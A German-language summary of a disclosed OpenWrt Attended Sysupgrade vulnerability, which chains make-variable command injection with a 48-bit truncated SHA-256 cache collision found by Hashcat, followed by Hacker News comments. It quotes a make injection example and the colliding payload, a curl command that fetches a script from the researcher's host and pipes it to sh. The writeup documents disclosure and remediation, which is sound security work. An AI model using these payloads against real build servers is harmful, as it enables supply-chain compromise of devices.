- Die Web-Upgrade-Funktion Attended Sysupgrade von OpenWrt war so aufgebaut, dass Firmware auf einem Online-Build-Server erzeugt wurde. In Kombination aus Command Injection und einer gekürzten SHA-256-Kollision konnten dadurch für legitime Anfragen falsche Build-Artefakte zurückgegeben werden.
- Der
packages-Wert einer Anfrage wurde an die VariablePACKAGES=vonmake manifestweitergereicht. Aufgrund der Variablenexpansion vonmakekonnte ein Angreifer innerhalb des ImageBuilder-Containers beliebige Befehle ausführen. - In den Cache-Schlüssel floss nicht die vollständige SHA-256 des Paketlisten-Hashes ein, sondern nur die ersten 12 Zeichen, also 48 Bit. Dadurch konnten unterschiedliche Paketlisten denselben Anfrage-Hash erzeugen.
- Der Forscher erreichte mit einem modifizierten Hashcat und einer RTX 4090 etwa 18 Milliarden Hashes pro Sekunde und konnte nachweisen, dass sich mit einem kollidierenden Command-Injection-Payload die
.bin-Artefakte des ImageBuilders überschreiben ließen. - Nach einer nicht öffentlichen Schwachstellenmeldung setzte das OpenWrt-Team
sysupgrade.openwrt.orgvorübergehend außer Betrieb und verteilte innerhalb von 3 Stunden eine gepatchte Version, konnte aber nicht feststellen, ob die Lücke zuvor bereits ausgenutzt worden war.
Die Online-Firmware-Build-Architektur von Attended Sysupgrade
- In der LuCI-Weboberfläche von OpenWrt gibt es
Attended Sysupgrade, und diese Funktion erstellt neue Firmware über einen Online-Dienst. - Der Build-Dienst läuft unter
sysupgrade.openwrt.org. Wenn Nutzer Zielgerät und gewünschte Pakete auswählen, wird ein neues Firmware-Image erzeugt. - Bei einer Upgrade-Anfrage sendet das OpenWrt-System des Nutzers folgende Informationen an den Server:
- Zielarchitektur
- Geräteprofil
- ausgewählte Pakete
- Auf Basis dieser Informationen baut der Server ein Firmware-Image und liefert es an das OpenWrt-Gerät zurück, das das erhaltene Image dann flasht.
- Wenn ein Server, der Images aus nutzerseitig angegebenen Paketen baut, nicht ausreichend isoliert ist, entsteht eine Angriffsfläche für Supply-Chain-Angriffe, weil das Build-Ergebnis direkt auf dem Gerät angewendet wird.
Command Injection über den PACKAGES-Wert
- Der Server
sysupgrade.openwrt.orgist ein Open-Source-Projekt, und der Quellcode liegt unter openwrt/asu. - Die Build-Umgebung läuft in einem Container, der mit
podman.containers.createerzeugt wird, mit Einstellungen wiecap_drop=["all"],no_new_privileges=Trueundprivileged=False. - Die Schwachstelle entstand beim Aufruf von
make manifest.PROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- Das
manifest-Target des OpenWrt-ImageBuilders reicht denPACKAGES-Wert in der FormUSER_PACKAGES="$(PACKAGES)"weiter. - Da
makeVariablen vor der Befehlsausführung expandiert, werden nutzerkontrollierte Werte selbst dann nicht sicher behandelt, wenn sie in einfache Anführungszeichen gesetzt werden.- Im Beispiel-Makefile wird bei
make var="'; whoami #"auch innerhalb vonecho '$(var)'der Befehlwhoamiausgeführt.
- Im Beispiel-Makefile wird bei
- Weil der Parameter
packageseiner Anfrage in die VariablePACKAGESgelangt, konnte ein Angreifer in einen wie ein Paketname aussehenden Wert Befehle einschleusen und innerhalb des ImageBuilder-Containers beliebige Kommandos ausführen. - Auch wenn der Container vom Host isoliert ist, werden die erzeugten Binärdateien in einem späteren Schritt mit einem privaten Schlüssel signiert. Dadurch wurde diese Command Injection zu einer Supply-Chain-Schwachstelle.
Auf 12 Zeichen gekürzter SHA-256-Cache-Schlüssel
get_request_hasherzeugt einen Anfrage-Hash, indem mehrere Felder der Build-Anfrage zusammengefügt werden; dieser Hash dient als Schlüssel für den Build-Cache.- Die Paketliste fließt nicht direkt als Zeichenkette ein, sondern über das Ergebnis von
get_packages_hash(build_request.packages)in den äußeren Anfrage-Hash. get_packages_hashentfernt doppelte Pakete, sortiert sie und berechnet die SHA-256 der durch Leerzeichen verbundenen Zeichenkette, gibt aber nur die ersten 12 Zeichen des Ergebnisses zurück.- Ein SHA-256-Präfix von 12 Zeichen entspricht 48 Bit, der mögliche Raum umfasst also
2^48 = 281,474,976,710,656Werte. - Weil der äußere Anfrage-Hash diesen gekürzten Pakethash enthält, können verschiedene Paketlisten bei einer Kollision desselben Pakethashs denselben Cache-Schlüssel teilen.
- In der Folge konnte der Server für andere Paketanforderungen falsche Build-Artefakte zurückgeben.
Kollisions-Payload mit Hashcat finden
- Da sich kein Brute-Force-Tool für partielle SHA-256-Treffer finden ließ, schrieb der Forscher zunächst selbst ein OpenCL-Programm, das jedoch für 100 Millionen Hashes 10 Sekunden brauchte und damit nur etwa CPU-Niveau erreichte.
- Danach modifizierte er Hashcat so, dass bereits bei Übereinstimmung von 8 Zeichen ein Hash ausgegeben wird, und prüfte mit einem kleinen Skript, ob eine 12-Zeichen-Kollision vorliegt.
- Die legitime Paketliste wurde von
firmware-selector.openwrt.orgübernommen, und deren SHA-256 war8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb.- Die ersten 12 Zeichen waren
8f7018b33d94. - Auch das Angriffspayload musste dasselbe 12-Zeichen-Präfix haben.
- Die ersten 12 Zeichen waren
- Zunächst lief auf einer RTX 4090 eine Maske der Form
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`, was etwa 500 Millionen Hashes pro Sekunde erreichte. ?lerzeugta-z, daher umfasst der Raum für 10 Zeichen26^10 = 141,167,095,653,376Möglichkeiten, also ungefähr die Hälfte von2^48.- Nachdem die Maske auf 11 Zeichen erweitert und die Maskenposition an den Anfang des Befehls verschoben wurde, stieg die Geschwindigkeit stark an.
- Das endgültige Muster war
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - Mit diesem Muster berechnete Hashcat etwa 18 Milliarden Hashes pro Sekunde.
- Das endgültige Muster war
- Innerhalb einer Stunde wurde folgende 12-Zeichen-Kollision gefunden.
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- Die SHA-256 dieser Zeichenkette war
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, deren erste 12 Zeichen mit denen der legitimen Paketliste übereinstimmen.
Kombination beider Schwachstellen liefert falsche Firmware zurück
- Wird das kollidierende Payload als Parameter
packagesgesendet, kommt es zur Command Injection, und ein Skript vontmp.ryotak.netwird ausgeführt. - Das Prüfskript ergänzte Code in
/builder/scripts/json_overview_image_info.pyund überschreibt so die vom ImageBuilder erzeugten Artefakte.- Es liest die Dateiliste in
BIN_DIR. - Es sucht Dateien, deren Name auf
.binendet, und schreibt"test"in deren Inhalt.
- Es liest die Dateiliste in
- Aufgrund der Hash-Kollision lieferte der Server an Nutzer, die die legitime Paketliste angefordert hatten, das überschriebene Build-Artefakt zurück.
- Würde dieses Verfahren böswillig ausgenutzt, könnten Nutzer auf schadhafte Firmware aktualisieren, was zu einer Kompromittierung des Geräts führen kann.
Meldung und Behebung
- Die Schwachstelle wurde dem OpenWrt-Team über eine private Schwachstellenmeldung auf GitHub gemeldet.
- Das OpenWrt-Team bestätigte das Problem, setzte den Dienst
sysupgrade.openwrt.orgvorübergehend aus und begann mit der Untersuchung. - Eine gepatchte Version wurde innerhalb von 3 Stunden bereitgestellt, und der Dienst wurde wieder gestartet.
- Beide Probleme wurden behoben, aber da die Schwachstelle längere Zeit existierte, ließ sich nicht feststellen, ob sie bereits von anderen ausgenutzt worden war.
- Das OpenWrt-Team veröffentlichte eine Mitteilung, damit Nutzer eine mögliche Kompromittierung ihrer Geräte prüfen und erkennen können.
Fazit
sysupgrade.openwrt.orgkonnte durch die Kombination aus Command Injection und einer gekürzten SHA-256-Kollision kompromittiert werden.- Es handelt sich um einen Fall, in dem ein Hash-Kollisionsangriff per Brute Force in einer realen Anwendung erfolgreich war und einen Pfad für einen Supply-Chain-Angriff eröffnete.
- Das OpenWrt-Team behob das Problem schnell und informierte die Nutzer, aber bei Online-Build-Diensten müssen Cache-Schlüssel und Eingabevalidierung äußerst konservativ behandelt werden.
1 Kommentare
Meinungen auf Hacker News
Die in dem Artikel ausgelassene Schwachstelle ist, dass das Ausführen von Code, der auf bestimmte Nutzer oder bestimmte Geräte zugeschnitten ist, normalisiert wird.
Es gibt keine Überprüfung der Reproduzierbarkeit, und niemand hat eine Möglichkeit zu prüfen, ob dieser Custom-Build- und Download-Dienst nicht Builds mit eingebauter Backdoor erstellt hat.
Man muss sicherstellen, dass Builds verwendet werden wie der xz-utils-Build, den Andres Freund nutzt, oder Builds, die Sicherheitsforscher später beziehen können, um Open-Source-Software auf Supply-Chain-Implantate zu prüfen[1].
Es gab früher einmal einen Artikel, der Mozillas eingestellten Versuch beschrieb, Release-Builds in einem Merkle-Tree öffentlich zu protokollieren[2]. Google hat die Implementierung für Pixel-Firmware-Builds aufgeräumt, aber Apps, die über den Google Play Store verteilt werden, wirken anfällig (sofern es nicht andere Logs gibt, die ich nicht gefunden habe)[3]. Apple scheint bei Firmware- und App-Verteilung in Sachen binärer Transparenz noch schlechter dazustehen als Google, weil es gerätespezifische Builds targetet und keine Build-Transparenz bietet.
Ein gutes Beispiel ist das ebuild-Repository von Gentoo. Es enthält Source-Prüfsummen in einem einzigen Git-Repository/Merkle-Tree und könnte damit einer der größten und am weitesten verteilten Merkle-Trees in Open-Source-Software bleiben.
[1] Nach der xz-utils-Backdoor haben einige Forscher automatische/halbautomatische Scans durchgeführt, um in Open-Source-Software-Builds nach unerklärlichen Dateien mit hoher Entropie zu suchen, die versteckten Schadcode enthalten könnten. Bei nutzer- oder gerätespezifischen Custom-Builds ist so etwas unmöglich, sofern nicht alle Builds für spätere Analysen veröffentlicht werden und dazu ein öffentliches Log (Merkle-Tree) dieser veröffentlichten Builds bereitgestellt wird.
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
Viele Elemente in einer Build-Pipeline sind von Natur aus nichtdeterministisch, weil Entscheidungen zur Compile-Zeit von Lauf zu Lauf unterschiedlich ausfallen können. Das gilt selbst ohne das Problem mit Flags, und tatsächlich ist das bei optimierenden Compilern ziemlich nah am eigentlichen Zweck. Wie viele Projekte für reproduzierbare Builds festgestellt haben, ist Reproduzierbarkeit bei aktivierten Optimierungen praktisch nicht garantiert.
Soweit ich weiß, gibt es kein zentralisiertes Log; es bleibt den App-Entwicklern überlassen, ihren eigenen Schlüssel oder das Transparenzdatei-Log selbst zu veröffentlichen.
Ist
"".joinnicht auch gefährlich?Bei einer Form wie
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ...könnte der Hash gleich bleiben, wenn man Zeichen zwischen benachbarten Feldern verschiebt.Selbst wenn man das System nicht direkt übernehmen kann, könnte man mit einem kaputten Image eine Cache-Vergiftung verursachen oder ein Downgrade auslösen.
Korrektur: Nicht HMAC, sondern inkrementelles Hashing wäre die richtige Bezeichnung.
Deshalb kann Open Source niemals mit proprietärer Unternehmenssoftware konkurrieren:
Weil sie das Problem in 3 Stunden behoben haben, statt Nutzer 6 Monate auf einen Patch warten zu lassen, den Melder des Problems nicht zu verklagen versuchten und auch nicht bloß einen kleinen Rabatt anboten, damit man ein „veraltetes“, aber völlig funktionierendes Gerät wegwirft und ein neues Produkt kauft.
Ich hoffe, sie planen auch, die Command Injection zu beheben. Wie der Beitrag sagt, werden die erzeugten Images signiert. Selbst ohne Signatur ist es ein Problem, wenn nicht vertrauenswürdige Nutzereingaben zur Codeausführung führen. Und Schwachstellen können miteinander verkettet werden, wie in diesem Fall der Hash-Kollision.
Ich könnte Ersatz bekommen, aber es wäre nur dasselbe Modell. Der ISP interessiert sich überhaupt nicht für Sicherheit und patcht auch nicht. Dabei hat er exklusiven Zugriff auf den Router und kann sich sogar aus der Ferne einloggen; das ist völlig absurd.
Bei den meisten Open-Source-Projekten sind die Maintainer viel zu überlastet oder wollen Sicherheitsprobleme schlicht nicht beheben.
Erstens war dies ein Fall, in dem ein Tool, das ursprünglich gar nicht für diesen Zweck gedacht war, trotzdem Open Source war und ohne BuilderFactoryProvider geschrieben wurde, sodass es in kurzer Zeit für die Aufgabe angepasst werden konnte.
Entschuldigung, dass das schon gesagt wurde, aber mich quält das jeden Tag.
Bei einem großen Unternehmen hätte die Behebung vermutlich -1 Jahr gedauert. Sie hätten einfach diese Person verklagt, versucht, sie so schnell wie möglich verhaften zu lassen, und nie einen Patch veröffentlicht.
OpenWrt hat nach Erhalt der Information den unsicheren Dienst abgeschaltet, die Nutzer waren dank des Shutdowns bereits in einem sicheren Zustand, dann wurde der Bericht verifiziert, ein Patch erstellt und innerhalb von 3 Stunden ausgerollt. Großartig.
Ich frage mich, wie Leute auf die Idee kommen, Hashes abzuschneiden. Was ist der Zweck oder der Vorteil?
Ich halte das nicht für gute Praxis, aber in der Realität gehen Leute Kompromisse ein.
Laut der Antwort von @Reid in [2] und der Antwort von @ThomasPornin in [3] wird die Idee, Hashes abzuschneiden, auch von NIST vollständig unterstützt. Tatsächlich ist SHA-224 ein abgeschnittener SHA-256, und SHA-384 ein abgeschnittener SHA-512.
https://security.stackexchange.com/a/97389
Guter Artikel. Es hat mich etwas überrascht, dass man für eine so kurze Kollision so viel GPU-Rechenleistung brauchte, aber es war interessant, die Implementierung zu sehen.
Zur letzten Sektion: Sind 40.000 Dollar für einen Monat Sicherheitsanalyse ein angemessener Preis? Falls ja, verdienen gute Sicherheitsforscher dann etwa 500.000 Dollar im Jahr?
nmap-/metasploit-Scans laufen lassen, die sie dann in ein überzeugend aussehendes PDF verpackt haben.2^(12*4)bedeutet, dass es 281.474.976.710.656 mögliche 12-Zeichen-Strings gibt; dass man so viele innerhalb einer Stunde durchsuchen kann, ist wirklich beeindruckend.Was soll das heißen, dass sich die Performance von
hashcatje nach Reihenfolge der Argumente um mehrere Größenordnungen unterscheidet? Scannt es bei jeder Ausführung die Zielmuster in der Argumentzeile?Oder es ist strukturiert wie beim Zählen, etwa:
100000000000010000000000110000000000001000000000sodass die meisten Änderungen links passieren und Änderungen rechts nur selten auftreten. Es wäre interessant, wenn jemand, der hashcat kennt, das beantworten könnte. Ich stelle hier nur Vermutungen an.
Der Ablauf des Angriffs war sehr gut beschrieben und leicht nachzuvollziehen.